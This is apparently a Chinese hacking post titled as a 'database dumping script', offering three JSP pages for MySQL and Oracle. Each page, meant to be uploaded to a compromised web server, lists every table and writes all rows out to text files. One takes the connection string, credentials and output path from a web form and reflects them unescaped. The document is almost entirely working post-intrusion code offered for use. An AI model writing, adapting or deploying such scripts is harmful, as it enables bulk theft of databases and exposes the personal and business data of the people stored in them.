脱裤脚本【支持Mysql、Oracle】
JSP
<%@ page import="java.sql.*" %> <%@ page import="java.util.*" %> <%@ page import="java.io.*" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% try { //备份文件存放的绝对路径 String backupDir = "c:/"; String ex=".txt"; String driver = "com.mysql.jdbc.Driver"; String url = "jdbc:mysql://localhost:3306/dbname"; String username = "user"; String password = "pass"; Class.forName(driver); Connection conn = DriverManager.getConnection(url, username, password); // Get tables DatabaseMetaData dmd = conn.getMetaData(); ResultSet rs = dmd.getTables(null, null, "%", null); ArrayList<String> tables = new ArrayList<String>(); while (rs.next()) { tables.add(rs.getString(3)); } rs.close(); ResultSetMetaData rsmd = null; Statement stmt = conn.createStatement(); for (String table : tables) { rs = stmt.executeQuery("SHOW CREATE TABLE " + table); rsmd = rs.getMetaData(); while (rs.next()) { /* * mysql> SHOW CREATE TABLE t\G *************************** 1. row *************************** * Table: t * Create Table: CREATE TABLE t ( * id int(11) default NULL auto_increment, * s char(60) default NULL, * PRIMARY KEY (id) * ) TYPE=MyISAM */ // JDBC is 1-based, Java is not !? // osw.append(rs.getString(2) + "\n\n"); } rs.close(); out.println("Dumping data for table " + table + "...<br />"); OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8"); BufferedWriter bw=new BufferedWriter(osw); rs = stmt.executeQuery("SELECT * FROM " + table); rsmd = rs.getMetaData(); while (rs.next()) { bw.append("INSERT INTO " + table + " VALUES("); // JDBC is 1-based, Java is not !? for (int col = 1; col <= rsmd.getColumnCount(); col++) { bw.append("'"); if (rs.getString(col) == null) bw.append(""); else bw.append(rs.getString(col)); if (col == rsmd.getColumnCount()) bw.append("'"); else bw.append("',"); } bw.append(");"); bw.newLine(); } bw.flush(); bw.close(); osw.close(); rs.close(); } stmt.close(); out.println("backup is ok"); conn.close(); } catch (Exception e) { response.setStatus(200); e.printStackTrace(); } out.println("<p><h3>finished</h3></p>"); %>
MSYQL
<%@ page import="java.sql.*" %> <%@ page import="java.util.*" %> <%@ page import="java.io.*" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% try { String table=request.getParameter("table_name"); if(table!=null&&!table.equals("")){ String backupDir = request.getParameter("bak_path"); String ex=".txt"; String driver =request.getParameter("driver"); String url = request.getParameter("url"); String username = request.getParameter("username"); String password = request.getParameter("password"); Class.forName(driver); Connection conn = DriverManager.getConnection(url, username, password); ResultSetMetaData rsmd = null; ResultSet rs=null; Statement stmt = conn.createStatement(); out.println("Dumping data for table " + table + "...<br />"); OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8"); BufferedWriter bw=new BufferedWriter(osw); rs = stmt.executeQuery("SELECT * FROM " + table); rsmd = rs.getMetaData(); while (rs.next()) { bw.append("INSERT INTO " + table + " VALUES("); // JDBC is 1-based, Java is not !? for (int col = 1; col <= rsmd.getColumnCount(); col++) { bw.append("'"); if (rs.getString(col) == null) bw.append(""); else bw.append(rs.getString(col)); if (col == rsmd.getColumnCount()) bw.append("'"); else bw.append("',"); } bw.append(");"); bw.newLine(); } bw.flush(); bw.close(); osw.close(); rs.close(); stmt.close(); out.println("backup is ok"); conn.close(); } else{ out.println("输入表名..."); } } catch (Exception e) { response.setStatus(200); e.printStackTrace(); } %> <form action="" method="post" name="form1" id="form1"> <p>备份目录：<input type="text" name="bak_path" <%=request.getParameter("bak_path")%>/></p> <p>table_name:<input type="text" name="table_name" /></p> <p>url:<input type="text" name="url" value="<%=request.getParameter("url")%>"/></p> <p>driver:<input type="text" name="driver" value="<%=request.getParameter("driver")%>"/></p> <p>username:<input type="text" name="username" value="<%=request.getParameter("username")%>"/></p> <p>password:<input type="text" name="password" value="<%=request.getParameter("password")%>"/></p> <p><input type="submit" name="Submit" value="提交" /></p> </form> oracle.jsp oracle当前用户所有表 <%@ page import="java.sql.*" %> <%@ page import="java.util.*" %> <%@ page import="java.io.*" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% try { String backupDir = "/usr/data/"; String ex=".txt"; String driver = "oracle.jdbc.driver.OracleDriver"; String url = "jdbc:oracle:thin:user/pass@localhost:1521:orcl"; String username = "user"; String password = "pass"; Class.forName(driver); Connection conn = DriverManager.getConnection(url, username, password); // Get tables String sql_tables="select TABLE_NAME from user_tab_comments"; PreparedStatement ps = conn.prepareStatement(sql_tables); ResultSet rs = ps.executeQuery(); ArrayList<String> tables = new ArrayList<String>(); while (rs.next()) { tables.add(rs.getString(1)); } rs.close(); for(int i=0;i<tables.size();i++){ String table=tables.get(i); out.println("Dumping data for table " + table + "...<br />"); OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8"); BufferedWriter bw=new BufferedWriter(osw); String sql="select * from "+table; PreparedStatement p = conn.prepareStatement(sql); ResultSet r = p.executeQuery(); ResultSetMetaData rsmeta=r.getMetaData(); while(r.next()){ bw.append("INSERT INTO " + table + " VALUES("); // JDBC is 1-based, Java is not !? for (int col = 1; col <= rsmeta.getColumnCount(); col++) { bw.append("'"); if (r.getString(col) == null) bw.append(""); else bw.append(r.getString(col)); if (col == rsmeta.getColumnCount()) bw.append("'"); else bw.append("', "); } bw.append(");"); bw.newLine(); } bw.flush(); bw.close(); osw.close(); r.close(); } rs.close(); out.println("backup is ok"); conn.close(); } catch (Exception e) { response.setStatus(200); e.printStackTrace(); } out.println("<p><h3>finished</h3></p>"); %>
